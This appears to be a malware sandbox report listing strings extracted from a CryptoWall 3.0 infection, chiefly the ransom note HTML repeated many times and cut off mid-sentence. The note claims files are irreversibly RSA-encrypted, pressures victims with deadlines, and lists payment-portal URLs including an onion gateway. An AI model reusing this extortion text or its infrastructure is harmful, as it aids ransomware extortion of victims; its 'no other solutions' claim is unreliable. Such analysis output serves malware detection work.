Source: restore_files_gpmus.html103.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html272.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html259.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt58.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt165.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt414.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html130.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html11.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html32.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html19.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html62.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt171.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html121.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt396.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html314.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html203.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt264.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html322.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
